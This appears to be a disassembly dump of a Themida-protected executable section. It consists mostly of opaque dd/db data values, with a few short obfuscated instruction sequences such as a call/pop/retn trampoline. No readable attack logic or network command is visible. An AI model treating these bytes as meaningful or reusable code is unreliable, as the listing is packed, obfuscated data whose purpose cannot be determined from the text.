dd 65048F09h, 21928FB2h, 70C48B4Bh, 42CC8466h, 3C100235h
dd 0DE826F71h, 7385E164h, 218588B2h, 0E2DFAB2Dh, 5D102CCh
dd 5C10A4Fh, 218591A1h, 0E2D7C9D2h, 2A56BB7Ch, 414D0FB7h
dd 218585B3h, 255CB52Dh, 0FB6FC19Ah, 806B4EDBh, 2ECC2F3Bh
dd 21858B58h, 0A40CEA69h, 2662732Dh, 0C9D58B30h, 21858B2Eh
dd 7946D3B6h, 25A1CFC2h, 25A1CF24h, 21858BC9h, 6946DB29h
dd 0F523598Bh, 12FCA898h, 0C590E290h, 247D0091h, 21858987h
dd 0D9180E2Ch, 0E1068C35h, 80000271h, 12826C4Ch, 2369329Ah
dd 8B768B2Dh, 0C9D28BFCh, 21858B48h, 7E46D485h, 25A1F75Bh
dd 25A1CFE8h, 21858BAFh, 9846DC1Dh, 43497297h, 9E0F9EC6h
dd 711E5BD9h, 218301AAh, 0B4868BD2h, 26619F04h, 21858C5Dh
dd 0EA82F5Ah, 0AAED6CAAh, 0DA80E50h, 4BC68CAFh, 226DDDA5h
dd 1858BD2h, 0A8DB4837h, 0A081AFC0h, 3881AF1Eh, 67858B2Dh
dd 6C3048C0h, 1770AD48h, 0B30B4524h, 256DD3FBh, 7F858B69h
dd 7119ECDFh, 0E90ED90Ah, 0EC3ABA22h, 7BD27445h, 5C10013h
dd 263BEDA1h, 0AA8500B0h, 5C1029Ah, 218262B0h, 899A8B5Ah
dd 0B2A0DEA7h, 0ABD3D320h, 947AD298h, 2661AAE4h, 0C9D48BB8h
dd 21858B6Ah, 7846D294h, 25A1C7D3h, 25A1CFACh, 21858B80h
dd 6946DA0Ah, 0A4088243h, 26623B75h, 0C9D68B03h, 21858BB7h
dd 7A46D07Ah, 25A1D7A4h, 25A1CF17h, 21858B52h, 0E246D8E6h
dd 0E25F442Ah, 218963FAh, 83288BB4h, 7610F95h, 612FA27Dh
dd 7B7DA2E2h, 0CF055BB4h, 84000206h, 0A0826FD8h, 3B85E987h
dd 50000683h, 4B826F76h, 226DD92Dh, 1858B96h, 0A8DF4811h
dd 0A081AFF1h, 3781AF96h, 63858B69h, 0DBED48E6h, 47F035C0h
dd 0A40CEFD1h, 2661AFE7h, 0C9D28B21h, 21858BA6h, 7E46D4F2h
dd 25A1F7E0h, 25A1CF35h, 21858B46h, 5F46DC6Ah, 120085EEh
dd 0F4FF907h, 183EE01Fh, 0C004D84h, 72826F45h, 3DE41E87h
dd 256D8CBEh, 0F9858B2Dh, 41793ADEh, 9D3FD91Bh, 2ED19EF5h
dd 7B4D39E3h, 23048431h, 76858BB4h, 9FD5EA05h, 759D7A6Fh
dd 25A1CF1Dh, 21810944h, 71E58BA5h, 210EEA8Ch, 0A84A000Fh
dd 0C981AFF0h, 21858B5Ch, 3B97F2F6h, 0F93C2674h, 7E8CB612h
dd 0F83002FDh, 0DE826FCBh, 0C5A4CADCh, 7085E1B3h, 218588B2h
dd 0E2DCAB2Dh, 5C902CFh, 5C10A4Fh, 21859EA1h, 0E2D4CAD2h
dd 0BC0C9ED5h, 2661A51Dh, 91220ED7h, 0ACAE8CCAh, 26619783h
dd 0DE553C44h, 58000275h, 0A8826FCAh, 0C58BCAECh, 7685E1B3h
dd 218588B2h, 0E2DAAB2Dh, 5F902C9h, 5C10A4Fh, 218590A1h
dd 0E2D2CCD2h, 0AEF2DAFFh, 5AA0A65Eh, 7E406D1h, 0A4438CC9h
dd 2661A7BBh, 7185E118h, 2185884Dh, 0E2DDABD2h, 5C10231h
dd 5C10AB0h, 21859C5Eh, 0E2D5CB2Dh, 0E87E95FAh, 6B81EC2h
dd 256D8C41h, 92858BD2h, 475D93ADh, 0ABD5713Fh, 5C1008Fh
dd 9F850029h, 790A436h, 25A1CFC2h, 47DD432Eh, 0DE9B476Dh
dd 0C5A4CADCh, 0C304EDB3h, 0A4082EADh, 26623B8Ah, 2185837Eh
dd 0F1B6E24Bh, 0D2097A0Ah, 44308202h, 78826F63h, 286C5B4Bh
dd 2E858B5Ah, 0F9934DDDh, 9A1B45CBh, 25C80EC2h, 21EF8C41h
dd 21866380h, 7BA58B69h, 750CD177h, 65048F7Eh, 21918F09h
dd 73C78B96h, 0A0E3C288h, 0E7D71A4Ch, 0C5A9A657h, 34EDCC6Eh
dd 9011203Eh, 5B10A88h, 2F0DC91h, 2185807Fh, 1395314Bh
dd 70A9979Ah, 0C004EC9Fh, 0C43E96h, 0B4A68C50h, 2661BAEBh
dd 91220EA0h, 0F17A8C71h, 0A84D002Dh, 0C5A14220h, 70008AD5h
dd 0E7826F74h, 0C5A9A631h, 21EFCC5Dh, 2186637Fh, 7BA58B96h
dd 750CD188h, 65048F81h, 219C8FF6h, 73C78B69h, 0A616AF77h
dd 410FC711h, 107F3422h, 0C5A8CE03h, 0BCACEA4Ch, 26618CE8h
dd 0C51971BAh, 9C71351Ch, 250484C6h, 0D6F60B7Eh, 99E5EB26h
dd 7712FFB7h, 98540A2Dh, 407CEADFh, 1D1635B4h, 0C43E96h
dd 94A68C50h, 266190FFh, 91220EA0h, 21EF8C71h, 2186631Ah
dd 78A58BA5h, 6D0CD211h, 65048F4Dh, 21928F90h, 70C48B5Ah
dd 2BF4ECEEh, 80802B3h, 0DE826F53h, 54380075h, 0A8826FCFh
dd 0C5914AECh, 0AC1002B3h, 0A8826F77h, 0C58A2298h, 0C004D91h
dd 66826F67h, 0C9D28BCFh, 21858BD1h, 7E46D449h, 25A1F73Dh
dd 25A1CFDBh, 21858B30h, 6146DCD1h, 846367A2h, 703B3B0Dh
dd 218A633Dh, 2B258B69h, 198B7E3Ah, 889B21FDh, 0B6EAE5A4h
dd 270C84D7h, 0AA858B4Bh, 0C58B3610h, 296DD2D5h
; ---------------------------------------------------------------------------
loc_5C2404: ; DATA XREF: Themida_:005829C0o
; Themida_:00584F08o
imul ecx, [ebx+289A3C85h], 0FD3A163Eh
and [eax-3A78D148h], ch
xchg eax, ecx
aad 0EDh
cmp [eax+ebp*4], ebp
retn
; ---------------------------------------------------------------------------
db 0C9h
dd 21858BB6h, 55D9C95h, 56D0A789h, 9EA87F07h, 0AA509AE5h
dd 0AAEDBFCFh, 2504D447h, 8850CE6Fh, 7685E1C1h, 2185883Ah
dd 0E2DAAB69h, 5F902EBh, 5C10A5Eh, 21859E29h, 0E2D2CC96h
dd 940CEAFBh, 2661A1D8h, 6030742Eh, 0A8826F48h, 0C593E239h
dd 8600065Dh, 4B826C9Dh, 226DDC96h, 1858B4Bh, 0A8DA48FAh
dd 0A081AFAEh, 3981AF2Dh, 66858BB4h, 568C480Dh, 0A8B7771Ah
dd 0C580BE23h, 0F17A7E4Ch, 0C9D68BCFh, 21858BD1h, 7A46D049h
dd 25A1D73Dh, 25A1CFDBh, 21858B36h, 0E346D8D5h, 66510A3Bh
dd 0A004F908h, 0A4588603h, 0B010A201h, 0AA826FB9h, 0C58E8AEFh
dd 0B000022Ah, 9B826F85h, 3DB7542Ch, 0B40C5B5Ah, 2661B8FFh
dd 211C0EE0h, 47798C50h, 0B48E53D6h, 2661BA60h, 20D03E1Fh
dd 25A18CAFh, 0C9D68BCFh, 21858BD1h, 7A46D049h, 25A1D73Dh
dd 25A1CFDBh, 21858B34h, 0E246D8D5h, 7BBDA035h, 2E4581B2h
dd 21869956h, 0CC108069h, 41826FABh, 218582B2h, 852ED72Dh
dd 458BE292h, 0A40E5B6Dh, 26618ACCh, 2180628Ch, 71708B69h
dd 4047E83Ah, 0DA80E9Ch, 70CA8CC9h, 720F562Fh, 0E6EDD502h
dd 41D24D14h, 415400B2h, 9AE3EA08h, 0A0E40158h, 9B78AF5Eh
dd 21EFEC94h, 218663C7h, 78A58B4Bh, 6D0CD266h, 65048FF6h
dd 219E8F4Dh, 70C48BB4h, 0A17F4599h, 9FEED6A2h, 947A776Ch
dd 2661AA0Ah, 0AC527A25h, 0C6352C57h, 7785E16Eh, 2185885Ch
dd 0E2DBAB5Ah, 5F10273h, 5C10A92h, 21859E4Fh, 0E2D3CDA5h
dd 0D9E5706Eh, 40753466h, 21EF5B4Bh, 2186630Ch, 7FA58B2Dh
dd 550CD555h, 65048F6Fh, 219D8F81h, 77C38BD2h, 294FF7AAh
dd 0B40EF685h, 2661A163h, 4BA14BAEh, 226DDA96h, 1858B4Bh
dd 0A8DC48FCh, 0A081AF9Eh, 3B81AF2Dh, 60858BB4h, 8385480Bh
dd 31DB7149h, 0F4100040h, 0A8826F48h, 0C5A81220h, 693BEDD5h
dd 0B800001Ah, 4B826FB4h, 226DD85Ah, 1858B2Dh, 0A8DE48CDh
dd 0A081AF17h, 3781AFE1h, 62858BD2h, 1F51483Ah, 0BC0E7EEAh
dd 266198CBh, 325436A6h, 4BC68C72h, 226DD94Bh, 1858BA5h
dd 0A8DF4888h, 0A081AF3Dh, 3981AFF0h, 63858B5Ah, 7DDA487Fh
dd 0AA507B42h, 218E6350h, 758F8BA5h, 0F145CFB6h, 0BFE791FBh
dd 0BC080293h, 7E826F4Fh, 0A1D290A6h, 0AADC0E5Bh, 7185E150h
dd 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h, 2185975Eh
dd 0E2D5CB2Dh, 6D336BD8h, 0F21A874Ch, 0CE04EDADh, 0F9B6F26Bh
dd 0C9D28B03h, 21858BB7h, 7E46D47Ah, 25A1F7A4h, 25A1CF17h
dd 21858B52h, 2A46DCE2h, 95A6C4E7h, 24400B53h, 218708BBh
dd 0C90F8B5Ah, 1AC16A4h, 0B40E8C72h, 2661846Ah, 20BC1E2Ch
dd 0A4438C36h, 2661A744h, 7185E1F3h, 218588B2h, 0E2DDAB2Dh
dd 5C102CEh, 5C10A4Fh, 21859FA1h, 0E2D5CBD2h, 0F435E3B1h
dd 356CCDD0h, 0E0858B5Ah, 0A13D248Ch, 7C7BC4Bh, 5273F35Dh
dd 47A06DC9h, 0A0C4F10Ch, 267CAF6Dh, 286DFACEh, 5B858B5Ah
dd 5B19562h, 2D8D545Ah, 3E5C1E62h, 76DB8C41h, 2203659h
dd 0DEDC8C8Dh, 0C5A4CA01h, 7785E15Dh, 218588C5h, 0E2DBAB96h
dd 5F10215h, 5C10AA1h, 218593D6h, 0E2D3CD69h, 0C61587BEh
dd 86000681h, 20826C9Dh, 0C5901E03h, 0C855744Ch, 21858BAEh
dd 0EA714A6Ah, 0F60EA361h, 0A8084786h, 0C5A142DFh, 210ECB2Ah
dd 0C9D08BFCh, 21858B48h, 7C46D685h, 25A1E75Bh, 25A1CFE8h
dd 21858BA8h, 2D46DE1Fh, 4769E20Fh, 0B81F01E1h, 11A436C2h
dd 210E8C41h, 0C9D58BB8h, 21858B6Ah, 7946D394h, 25A1CFD3h
dd 25A1CFACh, 21858B8Fh, 446DB0Bh, 0DBD01A38h, 0C4000217h
dd 4B826F6Ah, 226DDDB4h, 1858B5Ah, 0A8DB4873h, 0A081AFE2h
dd 3981AF0Fh, 67858BA5h, 0A4D54884h, 47FA4AACh, 9B1A4235h
dd 2184C3B3h, 1018BA2Dh, 0AC826FBAh, 0C67D34CEh, 218A62A2h
dd 95938BD2h, 86D36DA6h, 0BE28A91Ch, 0BA896850h, 316CDBBFh
dd 5B858B96h, 11606DE7h, 0EF7D0A6h, 0FAA2FD00h, 0A8568B5Eh
dd 0C9D4AFB0h, 21858B4Eh, 35C4602Dh, 918B7644h, 35C1F36Fh
dd 67C54732h, 37D70EE5h, 35DC3E6Ah, 7BDF8C50h, 465A0A3Ch
dd 0F410742Ah, 4B826F8Dh, 226DDE4Bh, 1858BA5h, 0A8D8488Fh
dd 0A081AF05h, 3581AFF0h, 64858B5Ah, 0C8514878h, 21858B86h
dd 0AD6738AEh, 0DA56EB9Fh, 83C4FA7Eh, 9906ABB2h, 64A834D2h
dd 0D94016D7h, 0A88A8CCAh, 21858B9Eh, 0E33FED2Bh, 40E4EB69h
dd 21976382h, 9AF28B69h, 0A81BE7DFh, 86D1601Fh, 678B90ABh
dd 0EB7924F3h, 5990212h, 2866D01Fh, 0AAE31BFAh, 276CDBA7h
dd 0F2858BB4h, 4F3BFC10h, 21EF1BBBh, 218663C1h, 7EA58B4Bh
dd 5D0CD466h, 65048FF6h, 21908F4Dh, 76C28BB4h, 0C9C42099h
dd 21858B21h, 0DD6CFBECh, 251B8AB7h, 0AAD0F36Eh, 26B41E59h
dd 0DEDC8C8Dh, 0C59E0A21h, 7085E15Dh, 218588C5h, 0E2DCAB96h
dd 5C90212h, 5C10AA1h, 21859DD6h, 0E2D4CA69h, 97E85372h
dd 0B80002CEh, 0AA826F00h, 0C5A68A03h, 0C004D4Ch, 72826F89h
dd 49573CDDh, 0B5709DBBh, 8CA18F35h, 4B901937h, 226DDA2Dh
dd 1858B96h, 0A8DC4812h, 0A081AFE9h, 3981AF96h, 60858B69h
dd 0E6E948E5h, 0AA5969F9h, 603074FCh, 0A0826FB7h, 0EDD069BDh
dd 86000682h, 0AA826C62h, 0C58FE2D4h, 218362B3h, 0D65A8B5Ah
dd 0A0534027h, 0B40E5B69h, 2661AE42h, 10280E2Ch, 0AAE58C36h
dd 270F84B6h, 0AA858BB4h, 0C58432C7h, 0A443EA2Ah, 2661A7BBh
dd 7185E10Ch, 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h
dd 21859C5Eh, 0E2D5CB2Dh, 0B3FDF9ECh, 0AB6A0A2Dh, 6808A28Bh
dd 49826FDFh, 4F2071DFh, 47D1860Dh, 5810A1Ch, 134991F7h
dd 0C9D48BFCh, 21858B48h, 7846D285h, 25A1C75Bh, 25A1CFE8h
dd 21858BA8h, 2E46DA1Bh, 6C4E5CD7h, 1B83ADFh, 6319D9F1h
dd 0CF6B0BCDh, 7743EDBh, 947A8C8Dh, 2661AAF5h, 0C9D38B30h
dd 21858B2Eh, 7F46D5B6h, 25A1FFC2h, 25A1CF24h, 21858BCFh
dd 0E946DD2Fh, 6E96F1B4h, 7926CE4Bh, 8600065Ch, 4B826C26h
dd 226DDD4Bh, 1858BA5h, 0A8DB488Ch, 0A081AF1Dh, 3981AFF0h
dd 67858B5Ah, 0A739487Bh, 0DE672B04h, 7785E19Bh, 2185884Dh
dd 0E2DBABD2h, 5F10237h, 5C10AB0h, 21859C5Eh, 0E2D3CD2Dh
dd 990F26B9h, 47E5AEFEh, 763CA21Eh, 75C0E5Bh, 40DD8C8Dh
dd 0B8C0E3Dh, 21EF8CBEh, 2186637Dh, 79A58B96h, 650CD388h
dd 65048F81h, 219F8FF6h, 71C58B69h, 9CAE9277h, 0F89D27EEh
dd 35E816A4h, 0A4438C72h, 2661A766h, 7185E1F6h, 2185883Ah
dd 0E2DDAB69h, 5C102ECh, 5C10A5Eh, 21859C29h, 0E2D5CB96h
dd 0EFA2B8EDh, 21A505AAh, 356D8BD2h, 57858B69h, 2F5C134Eh
dd 55686A4Eh, 83C0DDC9h, 845D0521h, 2EE93721h, 21858B2Eh
dd 256DD1D2h, 0B1858B69h, 0C91CB2EBh, 21858B5Ch, 81F53063h
dd 0C9E57386h, 21858B45h, 823B795Eh, 0EB4D38D9h, 2B776405h
dd 41DDF1CCh, 71DCEA3Bh, 108AD97Dh, 40DBDBF6h, 650ED311h
dd 210E8F81h, 2185993Ah
db 69h
byte_5C2BA5 db 35h, 0F1h, 9Eh ; DATA XREF: Themida_:00583F10o
dd 34BF80C8h, 31123376h, 8DBA0944h, 0C99A7F63h, 21858B4Dh
dd 284653E9h, 0F20E1A74h, 650CD230h, 0ABE58F90h, 2189638Bh
dd 0F3A78B2Dh, 19266EFDh, 0AD654F29h, 40E57915h, 2ADDEA8Dh
dd 0C5802EDCh, 603074B3h, 4B826F7Bh, 226DDD2Dh, 1858B96h
dd 0A8DB4815h, 0A081AFD1h, 3D81AF96h, 67858B69h, 488848E2h
dd 44F702BFh, 0A1182B3Eh, 0A4089174h, 26623BECh, 0C9D08BCFh
dd 21858BD1h, 7C46D649h, 25A1E73Dh, 25A1CFDBh, 21858B39h
dd 7846DED3h, 3B0006C2h, 0BCAC8C41h, 2661BA57h, 21EF5B96h
dd 218663E2h, 7FA58B5Ah, 550CD5EEh, 65048FB2h, 21938F6Fh
dd 77C38BA5h, 8F74EA11h, 11E40EE0h, 21EF8C50h, 2186630Bh
dd 78A58B2Dh, 6D0CD255h, 65048F6Fh, 219C8F81h, 70C48BD2h
dd 5C8CD3AAh, 2EF99815h, 21858BD7h, 0C004D2Dh, 76826FBAh
dd 0C9D08B21h, 21858BA6h, 7C46D6F2h, 25A1E7E0h, 25A1CF35h
dd 21858B41h, 0CD46DE68h, 0DE5F684Eh, 0C821E331h, 21858BB6h
dd 7353717Eh, 0BF354320h, 57DAF351h, 95828F50h, 0C934DCE3h
dd 21858B92h, 0B181D94Dh, 0AAE3EBC5h, 0D234EA1Ah, 73D5DB08h
dd 21858D5Dh, 7A1E085Ah, 2EDA0187h, 270284A7h, 2E858B4Bh
dd 21858B23h, 0AADDD1D2h, 7181AF2Dh, 8B31EBE6h, 2EE45AD0h
dd 0AADDD11Ch, 2E048496h, 0C9858B4Bh, 21858BA2h, 8CA263D8h
dd 0AA29F7BBh, 650CD24Fh, 0AAE38F7Eh, 21EFD3E2h, 218663C0h
dd 7FA58B4Bh, 550CD566h, 65048FF6h, 21998F4Dh, 77C38BB4h
dd 0F0212D99h, 3737F02Ah, 0AC0EB8BAh, 2661A99Ah, 338362Ch
dd 947A8C36h, 2661AA28h, 0C9D58BDEh, 21858B59h, 7946D30Dh
dd 25A1CF1Fh, 25A1CFCAh, 21858BB1h, 3A46DB92h, 2FC806E2h
dd 296C8C50h, 0DC858B5Ah, 0B3108A18h, 0ACAC16BBh, 0C6352CCEh
dd 7085E1A2h, 2185883Ah, 0E2DCAB69h, 5C902EDh, 5C10A5Eh
dd 21859C29h, 0E2D4CA96h, 8D9DA235h, 21EF5B5Ah, 21866387h
dd 7CA58B69h, 4D0CD677h, 65048F7Eh, 21998F09h, 74C08B96h
dd 0D0472988h, 7854F56Ch, 0A8D62339h, 0C59C3EFCh, 276DD1B3h
dd 80858B5Ah, 0CF004002h, 3C720AF7h, 7E907CDEh, 11C80E2Ch
dd 0A4438C36h, 2661A744h, 219662F7h, 18928B5Ah, 2CE7A8D0h
dd 0A19A91F7h, 5E181831h, 24384993h, 7030A06Dh, 49826F64h
dd 90C9A622h, 218B623Ah, 152D8B2Dh, 0B33A21C8h, 3146B14h
dd 3D6F17D9h, 5B10AB3h, 2C59D6D7h, 218B08BBh, 286C8B5Ah
dd 10858B2Dh, 0A3D926B7h, 691EB9BFh, 0B80802C5h, 0C9826FF5h
dd 21858B7Bh, 0F0B23976h, 31B3D68Ah, 642C6913h, 0FDFFD05Dh
dd 0FA0494D8h, 3BA5C58Ah, 947AEA8Dh, 2661AA28h, 8600064Dh
dd 4B826CEAh, 226DDC2Dh, 1858B96h, 0A8DA4814h, 0A081AFD9h
dd 3481AF96h, 66858B69h, 787848E3h, 21EF5BA5h, 2186637Eh
dd 7AA58B96h, 7D0CD088h, 65048F81h, 21908FF6h, 72C68B69h
dd 22E2F377h, 0C5AF6EEFh, 4008022Ah, 0A8826FB3h, 0C58BE6CEh
dd 7185E1A2h, 2185883Ah, 0E2DDAB69h, 5C102ECh, 5C10A5Eh
dd 21859C29h, 0E2D5CB96h, 82123A08h, 0A88C6125h, 0C58C024Fh
dd 9400066Eh, 22826C4Ch, 0C5990EE7h, 70E5DB2Ah, 73D5E92Dh
dd 0E90ED55Ah, 58102C4h, 21840CDDh, 0DE708B69h, 0C59E5E21h
dd 1408805Dh, 0AA826F1Dh, 7185E14Eh, 218588A3h, 0E2DDABA5h
dd 5C1028Ah, 5C10A6Dh, 218591B0h, 0E2D5CB5Ah, 3E2AD55Eh
dd 0D8B21059h, 0D92C0EC6h, 296D8C42h, 46858BD2h, 293E0D2Eh
dd 0AAAC480Ch, 0C9D5D1ABh, 21858B3Fh, 6D21FD4h, 0B4B98969h
dd 70005FCAh, 34A48216h, 0A48A1788h, 21858BACh, 218598B3h
dd 0E8EF4B2Dh, 81EA2A97h, 0DE85B852h, 66D140A5h, 0DBAC8BFFh
dd 5810236h, 0C9D28BDEh, 21858B59h, 7E46D40Dh, 25A1F71Fh
dd 25A1CFCAh, 21858BBEh, 0AE46DC95h, 0D7D9AAB7h, 0D48BC9BBh
dd 716A01C9h, 0F60EED4Dh, 21810B99h, 98E38B4Bh, 0B2E48BBEh
dd 383EEDB2h, 0B47AEA22h, 26619035h, 0B00002A6h, 0A8826F00h
dd 0C5B44613h, 2182624Ch, 0BEF48BA5h, 0EEBAD03Ch, 0F4004CD2h
dd 2E826F9Eh, 0DE858B5Ah, 0C5A81AB8h, 0DA0EED91h, 39E00EC2h
dd 9C848C41h, 26618EC7h, 2B200EE2h, 0BC088C50h, 266D80B9h
dd 0AC84C8A4h, 0C5A9FA2Bh, 9C30064Ch, 988263AEh, 21858BE1h
dd 126E2F9Ah, 21858B0Ch, 5545805Ah, 219D492Eh, 2DA1CF1Dh
dd 21856318h, 0A0DE8BA5h, 21859C11h, 5D90269h, 5C102A4h
dd 163DD04Eh, 0DE853AD7h, 5C10076h, 4B65744Fh, 226DDEA5h
dd 1858BD2h, 0A8D84834h, 0A081AFD8h, 3481AF1Eh, 64858B2Dh
dd 0BA2948C3h, 3C6F0A2Dh, 7185E124h, 2185883Ah, 0E2DDAB69h
dd 5C102ECh, 5C10A5Eh, 21859229h, 0E2D5CB96h, 2F34E386h
dd 2B6CDB19h, 0A0858BD2h, 699075AEh, 90D921C9h, 0F10EEDA0h
dd 218B624Ch, 0D8608B96h, 92CB92AEh, 0B54305B8h, 56189099h
dd 0D92C36E4h, 0AC088C53h, 266D872Fh, 72EBE95h, 800B80Eh
dd 0A826F52h, 236C4A6Ah, 12AA70EBh, 817485E1h, 0B4218588h
dd 7E2D8ABh, 2905E902h, 9205C10Ah, 0F305E983h, 6AD98BA4h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0A819C351h, 0BFAA5E34h, 2DB58Bh, 8D8B07E4h
dd 7E42EE1h, 22E9h, 88A0F00h, 0F000000h, 289h, 61616000h
dd 0CE9C3F5h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 8B31F553h
dd 188A0FC0h, 60000000h, 6E9h, 20F54000h, 0E9A76D1Dh, 6
dd 0C6FA3C99h, 8361BA58h, 0E413F1BDh, 9750007h, 935BD83h
dd 740007E4h, 8B535019h, 4B9B8C0h, 85890000h, 7E40EEDh
dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h
dd 4B9B853h, 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h
dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 590FF3C3h, 0A508BE89h, 0BE91Ah, 0A7F00000h
dd 5D717052h, 0BF568E2Dh, 870FF96Eh, 1, 0E9C08BF8h, 12h
dd 269F39D9h, 7C814869h, 689EBD65h, 0BB63BDA8h, 8B4096F7h
dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 1B547F0Bh, 0B5893C14h, 7E4009Dh, 4EBh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 9F32B0C3h, 90BA66B9h, 5E93AE5h, 6D000000h, 9780F8Ch
dd 0E7816650h, 8D5ED989h, 0E40D8585h, 39858907h, 9007E427h
dd 0CE6BF50h, 505F71FFh, 0D38B6660h, 5A616050h, 6A9061h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 4AA6E0C3h, 2037FB4Ch, 858992CFh, 7E40659h, 0B70F006Ah
dd 66006AF3h, 8DAB2BBFh, 0E80F9485h, 835E5707h, 6A05C0h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0C3C1E1C3h, 0EF91D740h, 0FC80BF66h, 13E950h, 2E250000h
dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 24048941h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h
dd 362371BEh, 8B006A0Eh, 0E41EC1BDh, 6A006A07h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 3CACC351h, 88DAF21Fh, 89FF3770h, 0E40F998Dh, 7195FF07h
dd 6A07E424h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h
dd 40000000h, 0DA0EC350h, 5E98D3Ch, 0AD000000h, 0A83A8465h
dd 0D64B9D8Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 9705A5C3h, 0B9CC1ED7h, 0FD3FF85h
dd 284h, 0FFF18B00h, 0E420B985h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 44FD2015h
dd 5E9FBh, 48FE0000h, 0E913C71Ch, 6FAh, 0E8h, 0ED815D00h
dd 7E80F9Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 0CEC35141h, 0F9CB93A8h, 8DB589D3h, 8107E422h, 0E42AD5BDh
dd 7D007h, 0D860F00h, 29000001h, 0E418358Dh, 699D8B07h
dd 6A07E40Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 834CC353h, 0D0919E04h, 5252AE9Dh
dd 6800Fh, 0B58B0000h, 7E40A9Dh, 0E381FC5Fh, 100h, 2A79BD01h
dd 0DB0B07E4h, 7D850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 5FDA43C3h, 6E2F1E38h
dd 1A718589h, 853107E4h, 7E41C61h, 0DD3BD83h, 0F0007E8h
dd 2784h, 46E9F500h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0BE65C355h, 355520EFh
dd 0DD385C7h, 107E8h, 0B5030000h, 7E43565h, 10E9h, 89BD8B00h
dd 0C707E426h, 0E80DD385h, 7, 699D8D00h, 6A07E40Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 9F3CC357h, 0E62F86C3h, 0FF238136h, 0BFFFFFFEh, 50747854h
dd 8BDB8C66h, 4C3F6F3h, 93840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 688D30C3h
dd 0FFB72571h, 0E42D9195h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8E8FDB9Fh
dd 0F5090E0h, 1C88h, 10E800h, 0D3870000h, 6C948130h, 0BB236411h
dd 821231B7h, 8C0F219Ah, 0
; ---------------------------------------------------------------------------
pop esi
nop
push 0
push ecx
call sub_5C35F9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C35F9 proc near ; CODE XREF: Themida_:005C35F1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C35F9 endp
; ---------------------------------------------------------------------------
db 93h, 86h, 7Fh
dd 29B586B9h, 0E41B4985h, 409E907h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 277AECC3h
dd 899D2EAFh, 0E402A995h, 8900B007h, 0E431B19Dh, 0F2B70F07h
dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 4F3A05C3h, 734561DEh, 89603BE5h, 0E41A0D8Dh
dd 66EDBE07h, 66617BF5h, 0E463BEBEh, 53006A71h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 669025C0h
dd 0C8C7BB13h, 14E9E3CEh, 0D6000000h, 2CB43DDDh, 0EC95E3C9h
dd 37D659F2h, 4A696895h, 665D9225h, 0B60FF78Bh, 998589D8h
dd 0BA07E415h, 6, 2B58589h, 0C38B07E4h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h, 898E74BFh
dd 0E42211BDh, 4E8C107h, 66E2F766h, 2D5BC781h, 6AD82Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 8D8977C3h, 7E408CDh, 2115BD8Bh, 609307E4h, 14830Fh
dd 0FE90000h, 4000000h, 0E50B9D47h, 639FE03h, 0B1BD9607h
dd 66603EC9h, 0E8D1AFBBh, 9, 0DE3B9B23h, 319EA435h, 6161593Bh
dd 0C56CBE50h, 29934197h, 0E42115B5h, 0D5B5FF07h, 8107E42Ah
dd 5E93BADFh, 4195FF6Dh, 6A07E40Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 93EAC350h
dd 17F1680Dh, 4C5F0ED2h, 0D924BE66h, 6A00B0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7CD12BC3h
dd 0D96D8755h, 8B06EC09h, 0E42A21BDh, 6A70E607h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 2359C353h, 2F1BEDDEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 295C82C3h, 6860Fh, 0BD030000h
dd 7E42631h, 830F613Ch, 1EFh, 1535B589h, 0B60F07E4h, 56006AD8h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 6C3B71A6h, 0EE8284Eh, 19000000h, 8B6E6DDAh, 1456956Dh
